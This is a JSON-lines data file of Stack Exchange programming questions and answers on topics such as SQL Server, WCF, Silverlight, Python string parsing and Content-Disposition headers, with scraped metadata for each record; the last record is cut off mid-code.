{"id": "hf_8a96adc660fc", "question": "<p>Which other restrictions are there on names (beside the obvious uniqueness within a scope)?</p>\n\n<p>Where are those defined?</p>\n", "question_body": "", "answer": "From the\nPDF of ECMA-335\n, Partition II, section 22:\nMetadata preserves name strings, as created by a compiler or code generator, unchanged.  Essentially, it treats\neach string as an opaque blob.  In particular, it preserves case.  The CLI imposes no limit on the length of names stored in metadata and subsequently processed by the CLI\nIf I've read this correctly and the context is correct then there's no actual limit to the length of an identifier in the CLR.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:12.299544"}
{"id": "hf_539b94990166", "question": "<p>There is the button control in silverlight application . Can I send a mouse click event to it programmatically?</p>\n", "question_body": "", "answer": "I've not used Silverlight but I assume it's the same process as Windows.Forms and WebControls. You'll just need to call the button's\n```\n.Click(Object o, EventArgs e)\n```\nmethod.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:12.368709"}
{"id": "hf_43f57ae30a13", "question": "<p>Using SQL Server - which is the fastest or best practice method to use for date retrieval? Is there a difference?</p>\n", "question_body": "", "answer": "Books Online tells us that\n```\nCURRENT_TIMESTAMP\n```\n\"is equivalent to\n```\nGETDATE()\n```\n\".", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:12.417650"}
{"id": "hf_2b94c25c115a", "question": "<p>When you limit the number of rows to be returned by a SQL query, usually used in paging, there are two methods to determine the total number of records:</p>\n\n<h3>Method 1</h3>\n\n<p>Include the <code>SQL_CALC_FOUND_ROWS</code> option in the original <code>SELECT</code>, and then get the total number of rows by running <code>SELECT FOUND_ROWS()</code>:</p>\n\n<pre><code>SELECT SQL_CALC_FOUND_ROWS * FROM table WHERE id &gt; 100 LIMIT 10;\nSELECT FOUND_ROWS();  \n</code></pre>\n\n<h3>Method 2</h3>\n\n<p>Run the query normally, and then get the total number of rows by running <code>SELECT COUNT(*)</code></p>\n\n<pre><code>SELECT * FROM table WHERE id &gt; 100 LIMIT 10;\nSELECT COUNT(*) FROM table WHERE id &gt; 100;  \n</code></pre>\n\n<p><strong>Which method is the best / fastest?</strong></p>\n", "question_body": "", "answer": "It depends.  See the MySQL Performance Blog post on this subject:\nTo\n```\nSQL_CALC_FOUND_ROWS\n```\nor not to\n```\nSQL_CALC_FOUND_ROWS\n```\n?\nJust a quick summary:  Peter says that it depends on your indexes and other factors.  Many of the comments to the post seem to say that\n```\nSQL_CALC_FOUND_ROWS\n```\nis almost always slower - sometimes up to 10x slower - than running two queries.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:12.452219"}
{"id": "hf_68e5ed5e2b21", "question": "<p>Can i override fetchall method in a model? I need to check sth everytime fetchAll is called. The model extends Zend_db_table_abstract</p>\n", "question_body": "", "answer": "To override this method you would need to subclass the Zend_Db_Table_Abstract.  Like so:\n```\n```\n<?php\nabstract class My_Db_Table_Abstract extends Zend_Db_Table_Abstract\n{\n    ...\n\n    public function fetchAll($where, $order)\n    {\n        ...\n    }\n\n    ...\n}\n```\n```\nThen make sure your models extend My_Db_Table_Abstract instead.  This way, you will always inherit your overridden fetchAll method.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:12.476537"}
{"id": "hf_5ac7fead4cfe", "question": "<p>I need to profile a java application for a customer. It's an eclipse/maven project, so I decided on using eclipse TPTP ( <a href=\"http://www.eclipse.org/tptp\" rel=\"noreferrer\">http://www.eclipse.org/tptp</a> ).</p>\n\n<p>I tried to install eclipse TPTP through the update manager from a standard eclipse installation, but I gave up because of the unbelievable complex setup and downloading of dependencies with very cryptic names.</p>\n\n<p>Then I downloaded the \"all in one TPTP 4.5.1\" package from <a href=\"http://www.eclipse.org/tptp/home/downloads/?ver=4.5.1\" rel=\"noreferrer\">http://www.eclipse.org/tptp/home/downloads/?ver=4.5.1</a> but when I start it up, it pops up an error saying \"The eclipse executable launcher was unable to locate it's companion shared library\".</p>\n\n<p>I'm running Windows XP, Sun Java 1.5, and clicked on \"eclipse.exe\" in the unpacked eclipse TPTP installation.</p>\n\n<p>What do I need to do to get eclipse TPTP running?</p>\n", "question_body": "", "answer": "Maybe try downloading the \"Java 1.5+ (JVMTI) Profiler SDK\" (runtime) from\nhttp://www.eclipse.org/tptp/home/downloads/?ver=4.5.1\nI also think IBM's latest Rational Developer integrates this technology (there is 60 days trial). You can see how they configure it there.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:12.500735"}
{"id": "hf_a5fd6d41a47b", "question": "<p>I have a WCF service and I want to expose it as both a RESTfull service and as a SOAP service. \nAnyone has done something like this before?</p>\n", "question_body": "", "answer": "You can expose the service in two different endpoints.\nthe SOAP one can use the binding that support SOAP e.g. basicHttpBinding, the RESTful one can use the webHttpBinding. I assume your REST service will be in JSON, in that case, you need to configure the two endpoints with the following behaviour configuration\n```\n```\n<endpointBehaviors>\n  <behavior name=\"jsonBehavior\">\n    <enableWebScript/>\n  </behavior>\n</endpointBehaviors>\n```\n```\nAn example of endpoint configuration in your scenario is\n```\n```\n<services>\n  <service name=\"TestService\">\n    <endpoint address=\"soap\" binding=\"basicHttpBinding\" contract=\"ITestService\"/>\n    <endpoint address=\"json\" binding=\"webHttpBinding\"  behaviorConfiguration=\"jsonBehavior\" contract=\"ITestService\"/>\n  </service>\n</services>\n```\n```\nso, the service will be available at\nhttp://www.example.com/soap\nhttp://www.example.com/json\nApply [WebGet] to the operation contract to make it RESTful.\ne.g.\n```\n```\npublic interface ITestService\n{\n   [OperationContract]\n   [WebGet]\n   string HelloWorld(string text)\n}\n```\n```\nNote, if the REST service is not in JSON, parameters of the operations can not contain complex type.\nReply to the post for SOAP and RESTful POX(XML)\nFor plain old XML as return format, this is an example that would work both for SOAP and XML.\n```\n```\n[ServiceContract(Namespace = \"http://test\")]\npublic interface ITestService\n{\n    [OperationContract]\n    [WebGet(UriTemplate = \"accounts/{id}\")]\n    Account[] GetAccount(string id);\n}\n```\n```\nPOX behavior for REST\nPlain Old XML\n```\n```\n<behavior name=\"poxBehavior\">\n  <webHttp/>\n</behavior>\n```\n```\nEndpoints\n```\n```\n<services>\n  <service name=\"TestService\">\n    <endpoint address=\"soap\" binding=\"basicHttpBinding\" contract=\"ITestService\"/>\n    <endpoint address=\"xml\" binding=\"webHttpBinding\"  behaviorConfiguration=\"poxBehavior\" contract=\"ITestService\"/>\n  </service>\n</services>\n```\n```\nService will be available at\nhttp://www.example.com/soap\nhttp://www.example.com/xml\nREST request\ntry it in browser,\nhttp://www.example.com/xml/accounts/A123\nSOAP request\nclient endpoint configuration for SOAP service after adding the service reference,\n```\n```\n<client>\n    <endpoint address=\"http://www.example.com/soap\" binding=\"basicHttpBinding\"\n      contract=\"ITestService\" name=\"BasicHttpBinding_ITestService\" />\n  </client>\n```\n```\nin C#\n```\n```\nTestServiceClient client = new TestServiceClient();\nclient.GetAccount(\"A123\");\n```\n```\nAnother way of doing it is to expose two different service contract and each one with specific configuration. This may generate some duplicates at code level, however at the end of the day, you want to make it working.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:12.548674"}
{"id": "hf_9f305c9b553c", "question": "<p>We have several common libs. Ideally we want them all to use the latest version of a dll even if they have been compiled against an older different version (assume the latest version is backward compatible)</p>\n\n<p>e.g we have:<BR>\n<BR>\nProject dll<BR>\nCommon controls dll<BR>\nLogging dll<BR>\nDatabase access dll</p>\n\n<p>Project and common controls reference v2 of database dll. Logging however references v1. </p>\n\n<p>If different versions are referenced in different components how does VS pick which one to use? <BR>\nDo we have to recompile v1 dll to use the latest database (v2) or can we get this to pick up automatically?<BR>\nIs it possible to force a particular version to be used?</p>\n\n<p>Thanks,</p>\n\n<p>Alex</p>\n", "question_body": "", "answer": "By default, for versioned DLLs I believe VS will force an exact match. If you look in the properties of the reference, however, you'll find a property called \"Specific Version\". Set that to \"false\" and it will match later versions.\nI don't have the full version of VS with me to find an appropriate MSDN link, unfortunately.\nIn addition, you can use the\nassemblyBinding\nelement in app.config.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:12.626544"}
{"id": "hf_b0923ef14e9a", "question": "<p>I coded something using Date statement in Access VBA. It was working fine until the start of this month, but now I am seeing that the Date has automatically changed the format from <code>dd/mm/yyyy</code> to <code>mm/dd/yyyy</code>. Has anyone else encountered the same problem?</p>\n", "question_body": "", "answer": "The default Access SQL date format, regardless of locale, is mm/dd/yyyy. If you use an invalid date format, it will 'helpfully' try to convert that to a valid date for you.\nSo, if you use '30/09/2008', it will recognize you're using dd/mm/yyyy, and convert it appropriately. However, a value like '10/01/2008' is a valid mm/dd/yyyy value to begin with, so it will not be converted, and stored incorrectly in case you actually meant dd/mm/yyyy....\nThe solution is to always convert your date values to a mm/dd/yyyy string prior to using them in Access SQL statements. You have to be a bit careful here, as using VBA date format masks may not work entirely as you'd expect on non-US locales (e.g. 'helpfully' interpreting \"mm/dd/yyyy\" as \"the localized short date format\"), so please test carefully using your particular Access/VBA version.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:12.680870"}
{"id": "hf_711de1dd413e", "question": "<p>When I disable ViewState for the page. It does not allow any other control to use ViewState .. even if I set EnableViewState=\"true\" for that particular control ..</p>\n\n<p>is it possible to enable ViewState for a control when ViewState is disabled for the page itself?</p>\n\n<p>if not how can disable viewstate for controls on page except for few without specifying EnableViewState=\"false\" explicitly .. typing the same into so many controls is hectic ..</p>\n", "question_body": "", "answer": "If you set turn page's ViewState off, then there is no way for you to enable ViewState for specific components. This is because ViewState is serialzed recursively, so when if the Page is not allowing ViewState, it will not serialize the ViewState for any of it's child controls.\nIn answer to your question, if you don't want to explicitly turn ViewState off on individual controls, but want to keep some controls ViewState aware, the best way would be writing a small utility method which turns ViewState off for all controls (using recursion or otherwise). Then enable ViewState for the controls that you would like to enable ViewState for.\nAlternatively, a middle ground and less forceful way may possible if controls are groups inside other container controls (such as Panel). You can disable ViewState for all controls inside a Panel by disabling ViewState of the Panel.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:12.730360"}
{"id": "hf_e6ab67d5d67b", "question": "<p>What avenues are there for using an XSD to generate message instances?  I seem to remember reading about generating classes from XSD, but can't find anything specific now.  I know you can generate classes and datasets from XSD, but I'm looking for a pattern for automating the actual generation of the messages.</p>\n\n<p>BTW, SO is my knowledge sharer of choice, not Google.</p>\n", "question_body": "", "answer": "```\n```\nxsd /c yourschema.xsd > yourschema.cs\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:12.763650"}
{"id": "hf_73f5d702ceb4", "question": "<p>Mobile Safari is a very capable browser, and it can handle my website as it is perfectly. However, there are a few elements on my page that could be optimized for browsing using this device; such as serving specific thumbnails that are smaller than the desktop counterparts to help fit more content into the screen.</p>\n\n<p>I would like to know how I can detect Mobile Safari (all versions, preferably) using PHP, so then I can serve a) a specific css file and b) different sized image thumbnails.</p>\n", "question_body": "", "answer": "```\n```\n$_SERVER['HTTP_USER_AGENT']\n```\n```\nThat will give you the user-agent string back which you can compare to mobile safari.\np.s.\nhttp://wurfl.sourceforge.net/\nWURFL may help you determine which UAs you want.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:12.820853"}
{"id": "hf_0402f4607929", "question": "<p>How do I generate a range of consecutive numbers (one per line) from a MySQL query so that I can insert them into a table?</p>\n\n<p>For example:</p>\n\n<pre><code>nr\n1\n2\n3\n4\n5\n</code></pre>\n\n<p>I would like to use only MySQL for this (not PHP or other languages).</p>\n", "question_body": "", "answer": "```\n```\nDECLARE i INT DEFAULT 0;\n\nWHILE i < 6 DO\n  /* insert into table... */\n  SET i = i + 1;\nEND WHILE;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:12.857618"}
{"id": "hf_99a7c6deb0c1", "question": "<p>Due to the lack of clientaccesspolicy.xml, there appears to be problems with using Amazon S3 via Flex. Are there any work arounds?</p>\n\n<p><strong>Edit:</strong> Both of the below answers are great and work, I've upvoted both (I'm not going to assign an answer to the question as they both work):</p>\n\n<p><a href=\"https://stackoverflow.com/questions/186768/can-you-use-amazon-s3-via-flex#186889\">Can you use Amazon S3 via Flex?</a></p>\n\n<p><a href=\"https://stackoverflow.com/questions/186768/can-you-use-amazon-s3-via-flex#194362\">Can you use Amazon S3 via Flex?</a></p>\n", "question_body": "", "answer": "You can CNAME a subdomain you control at Amazon S3 (to a bucket with the name of the subdomain), like so:\nhttp://s3.ceejayoz.com/\n(goes to my 's3.ceejayoz.com' bucket)\nUploading your own clientaccesspolicy.xml file to the root of that bucket (and setting the permissions to be globally viewable) should do the trick, if I'm understanding your question correctly, as it will be accessible at\nhttp://s3.ceejayoz.com/clientaccesspolicy.xml\n.\nMore information in the S3 docs:\nhttp://docs.amazonwebservices.com/AmazonS3/2006-03-01/index.html?VirtualHosting.html\nedit:\nFrom looking at that, you could also use the \"Example Virtual Hosted Style Method\" without a CNAME:\nhttp://bucketname.s3.amazonaws.com/clientaccesspolicy.xml", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:12.880742"}
{"id": "hf_5df4f20ac8e5", "question": "<p>I currently have a functioning in-house Windows Forms application which extensively uses the <code>DataGridView</code> control for data entry. There are some support issues which are expected when we roll this out to more locations, so one of our consultants has recommended putting together an AJAX application with substantially the same functionality.</p>\n\n<p>I have used ASP.NET a bit in the past with the old model where basically everything goes to the server, but I've heard AJAX applications can be made more UI responsive than that. </p>\n\n<p>So my question is, what's the best way to get started with AJAX, for someone who has worked mostly in WinForms C#?</p>\n", "question_body": "", "answer": "The easiest way, but not neccessarly the best way is to get familiar with the UpdatePanel, which is part of the ASP.net AJAX controls.\nYou can use an ASP.net GridView control (which shares much of the Winforms equiv. functionality), wrap an UpdatePanel around it and you're away.\nFurther on from that you will want to get involved with web/wcf services to make calls from javascript to the server and update your UI based on the responce. That of course involved more time, effort and knowledge!\nThere are many gridview controls you can buy that will help e.g. One from essential objects is nice, not perfect, but very cheap compared to Telerik and other big names.\nASP.net is still a server based technology, but with the inclusion of ASP.net AJAX calls to the server are easy and with jQuery updating the UI is getting easier!!\nHope this helps", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:12.904248"}
{"id": "hf_a40e5c5d8759", "question": "<p>I have named_scope which is reused in multiple ActiveRecord models.\nFor example:</p>\n\n<pre><code>  named_scope :limit, lambda {|limit| {:limit =&gt; limit}}    \n</code></pre>\n\n<p>What is the best practice to extract this code to be shared across models.\nIs it possible to extract it to a module or should I rather reopen ActiveRecord::Base class?</p>\n", "question_body": "", "answer": "Use a module. Something like this should work:\n```\n```\nmodule CommonScopes\n  def self.included(base)\n    base.class_eval do\n      named_scope :limit, lambda {|limit| {:limit => limit}}\n    end\n  end\nend\n```\n```\nThen just include CommonScopes and you'll be good to go.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:12.975632"}
{"id": "hf_c3e478a0800a", "question": "<p>How do I invoke a console application from my .NET application and capture all the output generated in the console? </p>\n\n<p>(Remember, I don't want to save the information first in a file and then relist as I would love to receive it as live.)</p>\n", "question_body": "", "answer": "This can be quite easily achieved using the\nProcessStartInfo.RedirectStandardOutput\nproperty. A full sample is contained in the linked MSDN documentation; the only caveat is that you may have to redirect the standard error stream as well to see all output of your application.\n```\n```\nProcess compiler = new Process();\ncompiler.StartInfo.FileName = \"csc.exe\";\ncompiler.StartInfo.Arguments = \"/r:System.dll /out:sample.exe stdstr.cs\";\ncompiler.StartInfo.UseShellExecute = false;\ncompiler.StartInfo.RedirectStandardOutput = true;\ncompiler.Start();    \n\nConsole.WriteLine(compiler.StandardOutput.ReadToEnd());\n\ncompiler.WaitForExit();\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:13.016759"}
{"id": "hf_6e2cceb6b67d", "question": "<p>I need to send email through an (external) SMTP server from Java however this server will only accept CRAM-MD5 authentication, which is not supported by JavaMail.</p>\n\n<p>What would be a good way to get these emails to send? (It must be in Java.)</p>\n", "question_body": "", "answer": "This doesn't help you directly, however, IMAP connections in JavaMail do support SASL (and thus CRAM-MD5, see the\nJava SASL documentation\n) if you set the\n```\nmail.imap.sasl.enable\n```\nboolean property to\n```\ntrue\n```\n.\nUnfortunately, there is no\n```\nmail.smtp.sasl.enable\n```\nproperty, and SASL cannot be enabled for SMTP in JavaMail. :-(\nHowever, you can download the\nJavaMail source code\n, and you can try to edit the SMTP code to support SASL in a similar manner to the IMAP code. Good luck!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:13.042237"}
{"id": "hf_4563f168f6bc", "question": "<p>My company runs a webmail service, and we were trying to diagnose a problem with Word downloads not opening automatically - the same *.doc file download from Yahoo Mail would open, but one from ours would not.</p>\n\n<p>In the course of investigating the headers we saw this coming from Yahoo:</p>\n\n<pre><code>content-disposition attachment; filename*=\"utf-8''word document.doc\";\n</code></pre>\n\n<p>Whereas our headers were like this:</p>\n\n<pre><code>content-disposition attachment; filename=\"word document.doc\";\n</code></pre>\n\n<p>What exactly is Yahoo doing with the additional asterisk and utf-8'' designation?</p>\n", "question_body": "", "answer": "What Mime-Type are you using?\nThe asterisk is required as per RFC 2183 (\nhttp://www.ietf.org/rfc/rfc2183.txt\n):\nIn the extended BNF notation of [RFC 822], the Content-Disposition\n   header field is defined as follows:\n```\n```\ndisposition := \"Content-Disposition\" \":\"\n                disposition-type\n                *(\";\" disposition-parm)\n\n disposition-type := \"inline\"\n                   / \"attachment\"\n                   / extension-token\n                   ; values are not case-sensitive\n\n disposition-parm := filename-parm\n                   / creation-date-parm\n                   / modification-date-parm\n                   / read-date-parm\n                   / size-parm\n                   / parameter\n\n filename-parm := \"filename\" \"=\" value\n\n creation-date-parm := \"creation-date\" \"=\" quoted-date-time\n\n modification-date-parm := \"modification-date\" \"=\" quoted-date-time\n\n read-date-parm := \"read-date\" \"=\" quoted-date-time\n\n size-parm := \"size\" \"=\" 1*DIGIT\n\n quoted-date-time := quoted-string\n                  ; contents MUST be an RFC 822 `date-time'\n                  ; numeric timezones (+HHMM or -HHMM) MUST be used\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:13.079520"}
{"id": "hf_c94a452631f2", "question": "<p>I can hookup to <code>AppDomain.CurrentDomain.UnhandledException</code> to log exceptions from background threads, but how do I prevent them terminating the runtime?</p>\n", "question_body": "", "answer": "From Joe Albahari's excellent\nthreading\narticle:\nThe .NET framework provides a\n  lower-level event for global exception\n  handling:\n  AppDomain.UnhandledException. This\n  event fires when there's an unhandled\n  exception in any thread, and in any\n  type of application (with or without a\n  user interface). However, while it\n  offers a good last-resort mechanism\n  for logging untrapped exceptions, it\n  provides no means of preventing the\n  application from shutting down – and\n  no means to suppress the .NET\n  unhandled exception dialog.\nIn production applications, explicit\n  exception handling is required on all\n  thread entry methods. One can cut the\n  work by using a wrapper or helper\n  class to perform the job, such as\n  BackgroundWorker (discussed in Part\n  3).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:13.103447"}
{"id": "hf_0cd835e051eb", "question": "<p>I have a string that looks like this:</p>\n\n<pre><code>\"Name1=Value1;Name2=Value2;Name3=Value3\"\n</code></pre>\n\n<p>Is there a built-in class/function in Python that will take that string and construct a dictionary, as though I had done this:</p>\n\n<pre><code>dict = {\n    \"Name1\": \"Value1\",\n    \"Name2\": \"Value2\",\n    \"Name3\": \"Value3\"\n}\n</code></pre>\n\n<p>I have looked through the modules available but can't seem to find anything that matches.</p>\n\n<hr>\n\n<p>Thanks, I do know how to make the relevant code myself, but since such smallish solutions are usually mine-fields waiting to happen (ie. someone writes: Name1='Value1=2';) etc. then I usually prefer some pre-tested function.</p>\n\n<p>I'll do it myself then.</p>\n", "question_body": "", "answer": "There's no builtin, but you can accomplish this fairly simply with a generator comprehension:\n```\n```\ns= \"Name1=Value1;Name2=Value2;Name3=Value3\"\ndict(item.split(\"=\") for item in s.split(\";\"))\n```\n```\n[Edit]\nFrom your update you indicate you may need to handle quoting.  This does complicate things, depending on what the exact format you are looking for is (what quote chars are accepted, what escape chars etc).  You may want to look at the csv module to see if it can cover your format.  Here's an example:  (Note that the API is a little clunky for this example, as CSV is designed to iterate through a sequence of records, hence the .next() calls I'm making to just look at the first line.  Adjust to suit your needs):\n```\n```\n>>> s = \"Name1='Value=2';Name2=Value2;Name3=Value3\"\n\n>>> dict(csv.reader([item], delimiter='=', quotechar=\"'\").next() \n         for item in csv.reader([s], delimiter=';', quotechar=\"'\").next())\n\n{'Name2': 'Value2', 'Name3': 'Value3', 'Name1': 'Value1=2'}\n```\n```\nDepending on the exact structure of your format, you may need to write your own simple parser however.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:13.128617"}
{"id": "hf_20240b1d15b1", "question": "<p>I need to stream a file to the Response for saving on the end user's machine.  The file is plain text, so what content type can I use to prevent the text being displayed in the browser?</p>\n", "question_body": "", "answer": "I don't think it works that way.\nUse a\n```\nContent-Disposition: attachment\n```\nheader, but stick with the correct Content-Type.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:13.170021"}
{"id": "hf_018f2bf7c730", "question": "<p>I'm trying to catch a ClassCastException when deserializing an object from xml.</p>\n\n<p>So,</p>\n\n<pre><code>try {\n    restoredItem = (T) decoder.readObject();\n} catch (ClassCastException e){\n    //don't need to crash at this point,\n   //just let the user know that a wrong file has been passed.\n}\n</code></pre>\n\n<p>And yet this won't as the exception doesn't get caught. What would you suggest?</p>\n", "question_body": "", "answer": "Well, I can't use\n```\ninstanceof\n```\noperator as the method is a parametrized one:\n```\n```\npublic T restore(String from){\n...\nrestoredItem = (T) decoder.readObject();\n...\n}\n```\n```\nAnd generics in Java are compile-time only.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:13.266958"}
{"id": "hf_6fb2cbfd07a3", "question": "<p>I am using the YUI layout manager which seems to work at an OK speed. However if the page contains a large <code>&lt;Table&gt;</code> with about 500 rows, the YUI <code>render()</code> function takes about a <strong>minute</strong> longer to run.</p>\n\n<p>When I open the same page without the layout manager it opens in less than a second.</p>\n\n<p>My <em>only</em> concern is with <strong>IE 7</strong>. I tried it on firefox and it only took about three seconds.</p>\n\n<p>Any ideas on what is taking so long? Can I somehow tell the layout manager to ignore the table?</p>\n", "question_body": "", "answer": "I finally figured it out myself.\nThe trick is to hide the content that should be ignored by the layout manager.\nBefore calling\n```\nrender()\n```\nset the\n```\nstyle.display = 'none'\n```\nfor a tag that contains a large chunk of the page you don't need the layout manager to manage. Set it back to normal after with\n```\nstyle.display = 'block'\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:13.303396"}
{"id": "hf_554271e9ae21", "question": "<p>I have this script:</p>\n\n<pre><code>select name,create_date,modify_date from sys.procedures order by modify_date desc\n</code></pre>\n\n<p>I can see what procedures were modified lately.\nI will add a \"where modify_date >=  \"\nAnd I'd like to use some system stored procedure, that will generate me :\ndrop + create scripts for the (let's say 5 matching) stored procedures</p>\n\n<p>Can i do this somehow?</p>\n\n<p>thanks</p>\n\n<hr>\n\n<p>ok. i have the final version:</p>\n\n<p><a href=\"http://swooshcode.blogspot.com/2008/10/generate-stored-procedures-scripts-for.html\" rel=\"nofollow noreferrer\">http://swooshcode.blogspot.com/2008/10/generate-stored-procedures-scripts-for.html</a></p>\n\n<p>you guys helped a lot</p>\n\n<p>thanks</p>\n", "question_body": "", "answer": "You could use a cursor to iterate through each record:\n```\n```\nDECLARE @spName NVARCHAR(128)\nDECLARE myCursor CURSOR FOR SELECT name FROM sys.procedures ORDER BY modify_date DESC\nOPEN myCursor\nFETCH NEXT FROM myCursor INTO @spName\nWHILE @@fetch_status = 0\nBEGIN\n    -- Process each stored procedure with a dynamic query\n    PRINT @spName\nFETCH NEXT FROM myCursor INTO @spName\nEND\nCLOSE myCursor\nDEALLOCATE myCursor\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:13.375327"}
{"id": "hf_d9a3c05ce06d", "question": "<p>What ReSharper 4.0 templates for <strong>C#</strong> do you use?</p>\n\n<p>Let's share these in the following format:</p>\n\n<hr>\n\n<h2>[Title]</h2>\n\n<p><em>Optional description</em>  </p>\n\n<p><strong>Shortcut:</strong> shortcut<br>\n<strong>Available in:</strong> [AvailabilitySetting]</p>\n\n<pre><code>// Resharper template code snippet\n// comes here\n</code></pre>\n\n<p><strong>Macros properties</strong> (if present):</p>\n\n<ul>\n<li><strong>Macro1</strong> - Value - EditableOccurence</li>\n<li><strong>Macro2</strong> - Value - EditableOccurence</li>\n</ul>\n\n<hr>\n\n<ul>\n<li>One macro per answer, please!</li>\n<li>Here are some samples for <a href=\"https://stackoverflow.com/questions/186970/what-resharper-40-templates-for-c-do-you-use#186978\">NUnit test fixture</a> and <a href=\"https://stackoverflow.com/questions/186970/what-resharper-40-templates-for-c-do-you-use#186978\">Standalone NUnit test case</a> that describe live templates in the suggested format.</li>\n</ul>\n", "question_body": "", "answer": "Create new unit test fixture for some type\nShortcut:\nntf\nAvailable in:\nC# 2.0+ files where type member declaration or namespace declaration is allowed\n```\n```\n[NUnit.Framework.TestFixtureAttribute]\npublic sealed class $TypeToTest$Tests\n{\n    [NUnit.Framework.TestAttribute]\n    public void $Test$()\n    {\n        var t 